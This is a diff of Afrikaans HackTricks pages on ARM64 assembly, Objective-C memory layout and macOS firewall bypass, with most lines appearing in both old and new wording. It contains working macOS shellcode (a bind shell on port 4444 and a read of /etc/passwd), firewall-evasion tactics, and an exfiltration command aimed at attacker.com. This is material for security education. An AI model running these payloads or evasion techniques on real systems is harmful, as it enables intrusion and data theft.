* Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n geteken 32-bis waarde vanaf die geheueposisie wat deur `x1` aangedui word, teken dit uit tot 64 bits, en stoor dit in `x0`.
* **`stur`**: **Stoor 'n registerwaarde na 'n geheueposisie**, met 'n skuif vanaf 'n ander register.
* Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue-adres wat 4 byte groter is as die adres wat tans in `x1` is.
* **`svc`** : Maak 'n **sisteemaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **skakel dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke plek in die geheue waar die **kern se sisteemaanroephanterings**-kode geleë is.
* Voorbeeld:
```armasm
mov x8, 93 ; Laai die sisteemaanroepnommer vir afsluiting (93) in register x8.
mov x0, 0 ; Laai die afsluitstatuskode (0) in register x0.
mov x0, 0 ; Laai die afsluitingsstatuskode (0) in register x0.
svc 0 ; Maak die sisteemaanroep.
```
### **Funksie Proloog**
1. **Stoor die skakelregister en raamverwysings na die stok**:
1. **Stoor die skakelregister en raamregister na die stok**:
{% code overflow="wrap" %}
```armasm
@ -239,7 +240,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
{% endcode %}
2. **Stel die nuwe raam aanduider op**: `mov x29, sp` (stel die nuwe raam aanduider op vir die huidige funksie)
3. **Ken spasie op die stok toe vir plaaslike veranderlikes** (indien nodig): `sub sp, sp, <grootte>` (waar `<grootte>` die aantal bytes is wat benodig word)
3. **Ken ruimte op die stok toe vir plaaslike veranderlikes** (indien nodig): `sub sp, sp, <grootte>` (waar `<grootte>` die aantal bytes is wat benodig word)
### **Funksie Epiloog**
@ -252,15 +253,15 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
```
{% endcode %}
3. **Terugkeer**: `ret` (gee beheer terug aan die oproeper deur die adres in die skakelregister)
3. **Terugkeer**: `ret` (gee beheer terug aan die oproeper deur die adres in die skakelregister te gebruik)
## AARCH32 Uitvoeringsstatus
Armv8-A ondersteun die uitvoering van 32-bietjie programme. **AArch32** kan in een van **twee instruksiestelle** hardloop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\
**Bevoorregte** 64-bietjie programme kan die **uitvoering van 32-bietjie** programme skeduleer deur 'n uitsonderingsvlak-oordrag na die laer bevoorregte 32-bietjie uit te voer.\
Let daarop dat die oorgang van 64-bietjie na 32-bietjie plaasvind met 'n laer van die uitsonderingsvlak (byvoorbeeld 'n 64-bietjie program in EL1 wat 'n program in EL0 trigger). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme se CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** wat in A32 of T32 binnegaan, afhangende van CPSR\*\*.\*\*
**Bevoorregte** 64-bietjie programme kan die **uitvoering van 32-bietjie** programme skeduleer deur 'n uitsonderingsvlakoorplasing na die laer bevoorregte 32-bietjie uit te voer.\
Let daarop dat die oorgang van 64-bietjie na 32-bietjie plaasvind met 'n laer van die uitsonderingsvlak (byvoorbeeld 'n 64-bietjie program in EL1 wat 'n program in EL0 trigger). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme se CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 binnegaan, afhangende van CPSR\*\*.\*\*
Die **`interworking`** vind plaas deur die gebruik van die J- en T-bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit kom basies daarop neer dat die **laagste bit na 1** gestel word om aan te dui dat die instruksiestel T32 is.\
Die **`interworking`** vind plaas deur die J- en T-bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit kom basies daarop neer dat die **laagste bit na 1** gestel word om aan te dui dat die instruksiestel T32 is.\
Dit word ingestel tydens die **interworking takinstruksies**, maar kan ook direk met ander instruksies ingestel word wanneer die PC as die bestemmingsregister ingestel word. Voorbeeld:
'n Ander voorbeeld:
@ -295,13 +296,13 @@ In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word dit ook
Die velde is verdeel in sekere groepe:
- Aansoekprogramstatusregister (APSR): Wiskundige vlae en toeganklik vanaf EL0
- Toepassingsprogramstatusregister (APSR): Wiskundige vlae en toeganklik vanaf EL0
- Uitvoeringsstatusregistre: Proseshantering (deur die OS bestuur).
#### Aansoekprogramstatusregister (APSR)
#### Toepassingsprogramstatusregister (APSR)
- Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64)
- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heeltalversadiging plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende wiskundige instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig na 0 gestel word. Verder is daar geen instruksie wat sy waarde implisiet kontroleer nie, dit moet handmatig gelees word.
- Die **`Q`** vlag: Dit word na 1 gestel wanneer **heeltalversadiging plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende wiskundige instruksie. Sodra dit na **`1`** gestel is, sal dit die waarde behou totdat dit handmatig na 0 gestel word. Verder is daar geen instruksie wat sy waarde implisiet kontroleer nie, dit moet handmatig gelees word.
- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Enkele Instruksie, Meervoudige Data) operasies, soos "parallelle optel" en "parallelle aftrekking". Hierdie operasies maak dit moontlik om meervoudige datapunte in 'n enkele instruksie te verwerk.
Byvoorbeeld, die **`UADD8`** instruksie **tel vier pare van byte op** (van twee 32-bis operandos) parallel op en stoor die resultate in 'n 32-bis register. Dit stel dan die `GE` vlae in die `APSR` in op grond van hierdie resultate. Elke GE-vlag stem ooreen met een van die byte optellings, wat aandui of die optelling vir daardie bytepaar **oorvloei**.
@ -321,15 +322,15 @@ Die **`SEL`** instruksie gebruik hierdie GE-vlae om voorwaardelike aksies uit te
## macOS
### BSD-sisteemaanroep
### BSD-sisteemaanroepes
Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD-sisteemaanroepe sal **x16 > 0** hê.
Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD-sisteemaanroepes sal **x16 > 0** hê.
### Mach-valstrikke
Kyk na in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) die `mach_trap_table` en in [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) die prototipes. Die maksimum aantal Mach-valstrikke is `MACH_TRAP_TABLE_COUNT` = 128. Mach-valstrikke sal **x16 < 0** hê, dus moet jy die nommers van die vorige lys met 'n **min** noem: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
Kyk na in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) die `mach_trap_table` en in [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) die prototipes. Die maksimum aantal Mach-valstrikke is `MACH_TRAP_TABLE_COUNT` = 128. Mach-valstrikke sal **x16 < 0** hê, dus moet jy die nommers van die vorige lys met 'n **min-teken** noem: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om uit te vind hoe om hierdie (en BSD) sisteemaanroepe te doen:
Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om uit te vind hoe om hierdie (en BSD) sisteemaanroepes te doen:
{% code overflow="wrap" %}
```bash
@ -351,9 +352,9 @@ XNU ondersteun 'n ander tipe oproepe genaamd masjienafhanklik. Die hoeveelheid v
### komm-pagina
Dit is 'n kernel-eienaar-geheuebladsy wat in die adresruimte van elke gebruikersproses afgebeeld word. Dit is bedoel om die oorgang vanaf gebruikersmodus na kernelruimte vinniger te maak as om syscalls te gebruik vir kernelsdiens wat soveel gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
Dit is 'n kernel-eienaar-geheuebladsy wat in die adresruimte van elke gebruikersproses afgebeeld word. Dit is bedoel om die oorgang vanaf gebruikersmodus na kernelruimte vinniger te maak as om syscalls te gebruik vir kernelservices wat soveel gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk vanaf die komm-pagina.
Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die komm-pagina af.
### objc\_msgSend
@ -365,8 +366,9 @@ Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/doc
* x1: op -> Kieser van die metode
* x2... -> Res van die argumente van die opgeroepde metode
Dus, as jy 'n breekpunt plaas voor die sprong na hierdie funksie, kan jy maklik vind wat in lldb opgeroep word met (in hierdie voorbeeld roep die objek 'n objek vanaf `NSConcreteTask` aan wat 'n bevel sal hardloop):
```
Dus, as jy 'n breekpunt plaas voor die sprong na hierdie funksie, kan jy maklik vind wat in lldb opgeroep word met (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n bevel sal hardloop):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -383,12 +385,31 @@ whoami
)
```
{% hint style="success" %}
Deur die omgewingsveranderlike `NSObjCMessageLoggingEnabled=1` in te stel, is dit moontlik om te log wanneer hierdie funksie in 'n lêer soos `/tmp/msgSends-pid` aangeroep word.
Die instelling van die omgewingsveranderlike **`NSObjCMessageLoggingEnabled=1`** maak dit moontlik om te log wanneer hierdie funksie in 'n lêer soos `/tmp/msgSends-pid` aangeroep word.
Verder, deur **`OBJC_HELP=1`** in te stel en enige binêre lêer aan te roep, kan jy ander omgewingsveranderlikes sien wat jy kan gebruik om te **log** wanneer sekere Objc-C-aksies plaasvind.
{% endhint %}
Wanneer hierdie funksie aangeroep word, is dit nodig om die geroepte metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte uitgevoer:
* Voer 'n optimistiese kasopsoek uit:
* Indien suksesvol, klaar
* Verkry runtimeLock (lees)
* Indien (realize && !cls->realized) realiseer klas
* Indien (initialize && !cls->initialized) inisialiseer klas
* Probeer klas se eie kas:
* Indien suksesvol, klaar
* Probeer klas metode lys:
* Indien gevind, vul kas en klaar
* Probeer ouerklass se kas:
* Indien suksesvol, klaar
* Probeer ouerklass se metode lys:
* Indien gevind, vul kas en klaar
* Indien (resolver) probeer metode-oplosser, en herhaal vanaf klasopsoek
* Indien nog hier (= alles het misluk) probeer voorskuwer
### Shellkodes
Om te kompileer:
Om saam te stel:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -529,12 +550,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh"
```
{% endtab %}
{% endtabs %}
#### Lees met kat
Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, dus die tweede argument (x1) is 'n reeks van parameters (wat in die geheue beteken dat dit 'n stapel van die adresse is).
Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, dus die tweede argument (x1) is 'n reeks van parameters (wat in die geheue beteken dit 'n stok van die adresse is).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -560,7 +578,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Roep die bevel aan met sh van 'n fork sodat die hoofproses nie afgeskiet word nie
#### Roep die bevel met sh van 'n fork aan sodat die hoofproses nie afgeskiet word nie
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -604,9 +622,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Bind skaal
#### Bind skul
Bind skaal van [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) in **poort 4444**
Bind skul van [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) in **poort 4444**
```armasm
.section __TEXT,__text
.global _main
@ -757,16 +775,17 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
<besonderhede>
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
<details>
Ander maniere om HackTricks te ondersteun:
<summary>Ondersteun HackTricks</summary>
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</besonderhede>
</details>
{% endhint %}

View file

@ -0,0 +1,160 @@
# Voorwerpe in geheue
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## CFRuntimeClass
CF\* voorwerpe kom van CoreFOundation, wat meer as 50 klasse van voorwerpe soos `CFString`, `CFNumber` of `CFAllocatior` bied.
Al hierdie klasse is instansies van die klas `CFRuntimeClass`, wat wanneer dit geroep word 'n indeks na die `__CFRuntimeClassTable` teruggee. Die CFRuntimeClass is gedefinieer in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
enum { // Version field constants
_kCFRuntimeScannedObject = (1UL << 0),
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
};
typedef struct __CFRuntimeClass {
CFIndex version; // This is made a bitwise OR with the relevant previous flags
const char *className; // must be a pure ASCII string, nul-terminated
void (*init)(CFTypeRef cf); // Initializer function
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
void (*finalize)(CFTypeRef cf); // Finalizer function
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
#define CF_RECLAIM_AVAILABLE 1
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
// It not null, it's called when the last reference to the object is released
#define CF_REFCOUNT_AVAILABLE 1
// If not null, the following is called when incrementing or decrementing reference count
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
// If not 0, allocation of object must be on this boundary
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
} CFRuntimeClass;
```
## Objective-C
### Gebruikte geheue-afdelings
Die meeste van die data wat deur die ObjectiveC-runtime gebruik word, sal tydens die uitvoering verander, daarom gebruik dit sekere afdelings van die **\_\_DATA** segment in die geheue:
- **`__objc_msgrefs`** (`message_ref_t`): Boodskapverwysings
- **`__objc_ivar`** (`ivar`): Instansie-veranderlikes
- **`__objc_data`** (`...`): Veranderlike data
- **`__objc_classrefs`** (`Class`): Klasverwysings
- **`__objc_superrefs`** (`Class`): Superklasverwysings
- **`__objc_protorefs`** (`protocol_t *`): Protokolverwysings
- **`__objc_selrefs`** (`SEL`): Kieserverwysings
- **`__objc_const`** (`...`): Klas `r/o` data en ander (hopelik) konstante data
- **`__objc_imageinfo`** (`weergawe, vlae`): Gebruik tydens beeldlading: Weergawe tans `0`; Vlae spesifiseer vooraf geoptimeerde GC-ondersteuning, ens.
- **`__objc_protolist`** (`protocol_t *`): Protokollys
- **`__objc_nlcatlist`** (`category_t`): Verwysing na Nie-Luie Kategorieë wat in hierdie binêre lê
- **`__objc_catlist`** (`category_t`): Verwysing na Kategorieë wat in hierdie binêre lê
- **`__objc_nlclslist`** (`classref_t`): Verwysing na Nie-Luie Objective-C-klasse wat in hierdie binêre lê
- **`__objc_classlist`** (`classref_t`): Verwysings na alle Objective-C-klasse wat in hierdie binêre lê
Dit gebruik ook 'n paar afdelings in die **`__TEXT`** segment om konstante waardes te stoor as dit nie moontlik is om in hierdie afdeling te skryf nie:
- **`__objc_methname`** (C-String): Metode name
- **`__objc_classname`** (C-String): Klasname
- **`__objc_methtype`** (C-String): Metode tipes
### Tipe-kodering
Objective-C gebruik 'n bietjie verminking om die kieser- en veranderlike tipes van eenvoudige en komplekse tipes te kodeer:
- Primitiewe tipes gebruik hul eerste letter van die tipe `i` vir `int`, `c` vir `char`, `l` vir `long`... en gebruik die hoofletter in die geval dit onderteken is (`L` vir `unsigned Long`).
- Ander datatipes waarvan die letters gebruik word of spesiaal is, gebruik ander letters of simbole soos `q` vir `long long`, `b` vir `bitvelds`, `B` vir `booleans`, `#` vir `klasse`, `@` vir `id`, `*` vir `char-aanwysers`, `^` vir generiese `aanwysers` en `?` vir `onbepaalde`.
- Arrays, strukture en unies gebruik `[`, `{` en `(`
#### Voorbeeld Metodeverklaring
{% code overflow="wrap" %}
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
{% endcode %}
Die kieser sal `processString:withOptions:andError:` wees
#### Tipe Enkodering
* `id` word enkodeer as `@`
* `char *` word enkodeer as `*`
Die volledige tipe enkodering vir die metode is:
```less
@24@0:8@16*20^@24
```
#### Gedetailleerde Uiteensetting
1. **Retourtipe (`NSString *`)**: Opgesluit as `@` met lengte 24
2. **`self` (objekinstansie)**: Opgesluit as `@`, by offset 0
3. **`_cmd` (selekteerder)**: Opgesluit as `:`, by offset 8
4. **Eerste argument (`char * input`)**: Opgesluit as `*`, by offset 16
5. **Tweede argument (`NSDictionary * options`)**: Opgesluit as `@`, by offset 20
6. **Derde argument (`NSError ** error`)**: Opgesluit as `^@`, by offset 24
**Met die selekteerder + die enkodering kan jy die metode herkonstrueer.**
### **Klasse**
Klasse in Objective-C is 'n struktuur met eienskappe, metode-aanwysers... Dit is moontlik om die struktuur `objc_class` in die [**bronkode**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) te vind:
```objectivec
struct objc_class : objc_object {
// Class ISA;
Class superclass;
cache_t cache; // formerly cache pointer and vtable
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
class_rw_t *data() {
return bits.data();
}
void setData(class_rw_t *newData) {
bits.setData(newData);
}
void setInfo(uint32_t set) {
assert(isFuture() || isRealized());
data()->setFlags(set);
}
[...]
```
Hierdie klas gebruik 'n paar bietjies van die isa-veld om inligting oor die klas aan te dui.
Dan het die struktuur 'n verwysing na die struktuur `class_ro_t` wat op die skyf gestoor word en eienskappe van die klas bevat soos sy naam, basiese metodes, eienskappe en instansie-veranderlikes.\
Tydens hardlooptyd word 'n bykomende struktuur `class_rw_t` gebruik wat verwysings bevat wat verander kan word soos metodes, protokolle, eienskappe...

View file

@ -1,52 +1,53 @@
# macOS Deurloophardeware
# macOS Deurbranders omseil
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi Span Kenner (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi Span Kenner (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Gevonde tegnieke
Die volgende tegnieke is gevind wat werk in sommige macOS-firewall-toepassings.
Die volgende tegnieke is gevind wat werk in sommige macOS deurbrandtoepassings.
### Misbruik van witlysname
* Byvoorbeeld om die kwaadwillige sagteware te noem met name van bekende macOS-prosesse soos **`launchd`**
* Byvoorbeeld om die kwaadwillige sagteware te noem met name van bekende macOS prosesse soos **`launchd`**
### Sintetiese Kliek
* As die firewall toestemming aan die gebruiker vra, laat die kwaadwillige sagteware **toestemming gee**
* As die deurbranders toestemming aan die gebruiker vra, laat die kwaadwillige sagteware **toestemming gee**
### **Gebruik Apple-ondertekende bineêre lêers**
### **Gebruik Apple-ondertekende binêre lêers**
* Soos **`curl`**, maar ook ander soos **`whois`**
### Bekende Apple-domeine
### Bekende apple-domeine
Die firewall kan verbindinge toelaat na bekende Apple-domeine soos **`apple.com`** of **`icloud.com`**. En iCloud kan gebruik word as 'n C2.
Die deurbranders kan verbindinge toelaat na bekende apple-domeine soos **`apple.com`** of **`icloud.com`**. En iCloud kan gebruik word as 'n C2.
### Generiese Deurloophardeware
### Generiese Omseiling
Sommige idees om te probeer om firewalls te omseil
Sommige idees om deurbranders te probeer omseil
### Kontroleer toegelate verkeer
Om te weet watter verkeer toegelaat word, sal jou help om potensieel witlys-domeine te identifiseer of watter toepassings toegelaat word om daartoe toegang te verkry
Om die toegelate verkeer te ken sal jou help om potensieel witlys-domeine te identifiseer of watter toepassings toegelaat word om daartoe toegang te verkry
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Misbruik van DNS
DNS-oplossings word gedoen via die **`mdnsreponder`** ondertekende aansoek wat waarskynlik toegelaat sal word om kontak met DNS-bedieners te maak.
DNS-oplossings word gedoen via die **`mdnsreponder`** ondertekende aansoek wat waarskynlik toegelaat sal word om DNS-bedieners te kontak.
<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
@ -79,7 +80,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Via prosesinspuitings
As jy **kode in 'n proses kan inspuit** wat toegelaat word om met enige bediener te verbind, kan jy die vuurmuurbeveiligings omseil:
Indien jy **kode in 'n proses kan inspuit** wat toegelaat word om met enige bediener te verbind, kan jy die vuurmuurbeveiligings omseil:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
@ -89,16 +90,17 @@ As jy **kode in 'n proses kan inspuit** wat toegelaat word om met enige bediener
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
